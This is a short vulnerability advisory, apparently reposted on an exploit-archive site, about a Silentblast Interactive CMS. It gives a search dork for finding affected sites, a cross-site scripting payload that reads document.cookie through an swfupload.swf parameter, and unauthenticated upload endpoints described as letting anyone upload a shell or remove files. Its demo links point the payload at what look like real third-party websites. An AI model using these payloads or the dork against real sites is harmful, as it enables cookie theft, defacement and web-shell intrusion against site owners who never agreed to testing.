CMS Provided by Silentblast Interactive Multiple Vulnerabilities

2013.03.22
Credit: The Black Devils
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-79
Dork: inurl:/admin/includes/swfupload/

# Title : CMS Provided by Silentblast Interactive Multiple Vulnerabilities # Date: 2013-03-15 # Software Link: http://www.silentblast.com/ # Credit: This Bug was founded by Asesino04 "The Black Devils" # Tested on: Windows XP SP2 # Category: [webapps] # Dork : inurl:/admin/includes/swfupload/ ----------- Xss http://127.0.0.1/path/components/com_wordpress/path/wp-includes/js/swfupload/swfupload.swf?buttonText=[ XSS ] doc_upload you can upload files and remove others http://127.0.0.1/admin/includes/doc_upload.php image upload yu can bypass it and upload a shell http://www.doncarmody.com/admin/includes/image_upload.php then you'll find your file here http://127.0.0.1/images/cms/ and from here you can easily change the logo picture http://127.0.0.1/admin/includes/image_upload.php?moduleID=1&imageName=cmsLogo&module=cmsSettings&type=cmslogo&categoryID=0 https://fbcdn-sphotos-e-a.akamaihd.net/hphotos-ak-ash3/c0.0.380.380/p403x403/581866_256194131184828_1398221432_n.jpg # Demo : http://www.sileXXast.com/admin/includes/swfupload/Flash/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E http://www.donXXody.com/admin/includes/swfupload/Flash/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E http://ashtoXXations.com/admin/includes/swfupload/Flash/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E http://www.stluXXed.org/admin/includes/swfupload/Flash/swfupload.swf?buttonText=%3Ca%20href=%27javascript:alert%28document.cookie%29%27%3EClick%20me%3C/a%3E ----------- Thanks To : | r0073r | KedAns-Dz | D4RKCR1PT3R | Keystr0ke | x3o-1337 | Èlite TrØjan | sH3LL05Dz | Ana Eve | DZ Combattant | Muhammad Talha Khan | r4dc0re | SeeMe CrosS | Zikou-16 | DaOne | Angel Injection | NuxbieCyber | Tibit | Sammy FORGIT | D4NB4R beBoss | LORDOFDARKNES | All Dz hackerz ----------- Contact: # Fane Page : www.facebook.com/Th3.Black.D3Vils # Youtube : www.youtube.com/user/Th3BlackDevils # Facebook : www.facebook.com/DevilsDz # Email : mr.k4rizma@gmail.com

References:

http://www.silentblast.com/


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top